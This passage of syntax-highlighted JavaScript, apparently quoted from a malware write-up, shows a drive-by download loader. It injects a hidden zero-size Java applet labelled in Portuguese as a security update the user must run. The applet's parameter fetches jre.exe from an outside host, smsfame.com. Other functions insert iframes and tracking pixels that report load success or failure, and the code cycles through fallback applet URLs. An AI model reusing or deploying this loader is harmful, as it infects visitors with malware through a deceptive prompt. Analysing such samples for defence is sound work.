<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  50:</span>         } <span style="color: #0000ff">catch</span> (ex) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  51:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">null</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  52:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  53:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  54:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  55:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  56:</span> <span style="color: #0000ff">function</span> JSM_labReport(url) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  57:</span>     <span style="color: #0000ff">var</span> oReq = getXMLHttpRequest();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  58:</span>     <span style="color: #0000ff">if</span> (oReq) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  59:</span>         oReq.onreadystatechange = <span style="color: #0000ff">function</span> () {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  60:</span>             <span style="color: #0000ff">if</span> (oReq.readyState == 4) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  61:</span>                 <span style="color: #0000ff">if</span> (oReq.status == 200) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  62:</span>                     <span style="color: #008000">//window.alert('from callback ' + oReq.responseText);</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  63:</span>                 }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  64:</span>             }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  65:</span>         };</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  66:</span>         oReq.open(<span style="color: #006080">&quot;GET&quot;</span>, url, <span style="color: #0000ff">true</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  67:</span>         oReq.send();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  68:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  69:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  70:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  71:</span> <span style="color: #0000ff">function</span> JSM_labReport2(url) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  72:</span>     <span style="color: #0000ff">var</span> hhBody = document.body;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  73:</span>     <span style="color: #0000ff">if</span> (hhBody) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  74:</span>         hhBody.insertBefore(JSM_createIframe(url), hhBody.firstChild);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  75:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  76:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  77:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  78:</span> <span style="color: #0000ff">function</span> JSM_createImg(src) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  79:</span>     <span style="color: #0000ff">var</span> img = document.createElement(<span style="color: #006080">'img'</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  80:</span>     img.src = src;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  81:</span>     <span style="color: #0000ff">return</span> img;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  82:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  83:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  84:</span> <span style="color: #0000ff">function</span> JSM_createSpan(html) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  85:</span>     <span style="color: #0000ff">var</span> span = document.createElement(<span style="color: #006080">'span'</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  86:</span>     span.innerHTML = html;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  87:</span>     <span style="color: #0000ff">return</span> span;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  88:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  89:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  90:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  91:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  92:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  93:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  94:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml_X() {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  95:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + jsm_applet_url + <span style="color: #006080">'javab.jar?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  96:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  97:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  98:</span> <span style="color: #0000ff">function</span> JSM_onLoad() {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  99:</span>     <span style="color: #008000">//report load success</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 100:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loaded);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 101:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 102:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loaded);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 103:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 104:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 105:</span> <span style="color: #0000ff">function</span> JSM_onLoadJavaX() {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 106:</span>     JSM_createImg(<span style="color: #006080">'http://c.statcounter.com/7455623/0/bd77ea2d/1/'</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 107:</span> }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 108:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 109:</span> <span style="color: #0000ff">function</span> JSM_onLoadFail() {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 110:</span>     <span style="color: #008000">//report load fail</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 111:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loadfail);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 112:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loadfail);</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 113:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loadfail);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 114:</span>     <span style="color: #0000ff">if</span> (jsm_applet_index &lt; jsm_applet_count) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 115:</span>         jsm_applet_index++;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 116:</span>         <span style="color: #0000ff">var</span> hBody = document.body;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 117:</span>         <span style="color: #0000ff">if</span> (hBody) {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 118:</span>             <span style="color: #0000ff">var</span> html = JSM_getAppletHtml();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 119:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 120:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 121:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 122:</span> }</pre>
